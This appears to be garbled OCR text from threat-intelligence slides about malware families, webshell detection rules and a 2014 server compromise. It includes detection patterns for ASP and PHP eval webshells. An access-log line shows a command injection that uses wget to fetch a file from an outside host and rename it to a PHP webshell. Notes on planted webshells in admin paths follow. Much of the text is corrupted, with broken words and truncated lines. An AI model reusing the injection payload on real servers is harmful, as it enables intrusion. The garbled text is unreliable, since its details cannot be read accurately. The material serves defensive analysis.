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Dark EY E Cryptor
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gENEric One
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Kazpersky BElueTermite Emdiwi
Ivlalware

Casper Eules updated Comments
APT Cheshire Cat

The Black Vine Hashes

Core Impact & gent
CAWE-2015-2112 Flash Exploit
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signature Update
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meta:
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author = ”sec-un"
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date ="2015/03/10"
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/% @\sPage\sLanguage=.Jscript.%><%eval\(Requestitem\[.{,
100}unsafe/
Sphp = /<?php.\@eval\(\S_POST./
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66.175.XXX.41 - - [19/Feb/2014:16:35:56 +0800] "GET /admin/domain/ip_login set/d ip login_get.php?domain=%3Bwget+http%3A%2F%2Fxss.ma.cx%2Fe%2Fz99.txt%3Bmv+z99.txt+z.php&type=allow HTTP/1.0" 200 9
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1A1EAY/admin/info.phpRSwebshell H7ERES175(E) T /admin/zz.php
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66.175.XXX 41 - -

domain=%3Bwget+http%3A%2F%2Fxss.ma.cx%2Fe%2FzC

/admin/domain/ip_login_set/z.php?r=1 HTTP/1.1" 200
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« 20148E2H19H17:42:12, 61.230. XXX XXX (Ei#rX) 1aE TS —1webshell (/class/listdisk.class.php)

. 2014492826H14:40:48, Hijial/user/storage explore.php, RiFIFEiRIFLR T E201452827H00:55
i51ERY/admin/info.phpARKSwebshell HEREfR/518] T /admin/zz.php

« 2014-7-22 H01:56:11, 5—IP: 61.230.XXX.163,#{E 1 /class/listdisk.class.phpiX~webshell, I
webshell&mFH & 73244 /var/eyou/apache/htdocs/class/ * * . * .cn.txt, K/NAF9455K - - & T HBE4-FB
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« REBXREKH=/MP:

66.175.XXX.41 CEEFIEAMART) . 61.230. XXX XXX (FEibX) . 61.230.XXX.163 (FHitBX)
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Entire conversation (304 bytes) =

Entire conwersation (304 bytas)
L223:1177 - 95188, 198, 160:1063 (0 bytes)
5. 186. 196 169 1063 —~ * 223:117TT (304 byies)

n rliter wut inis atresn Lioze
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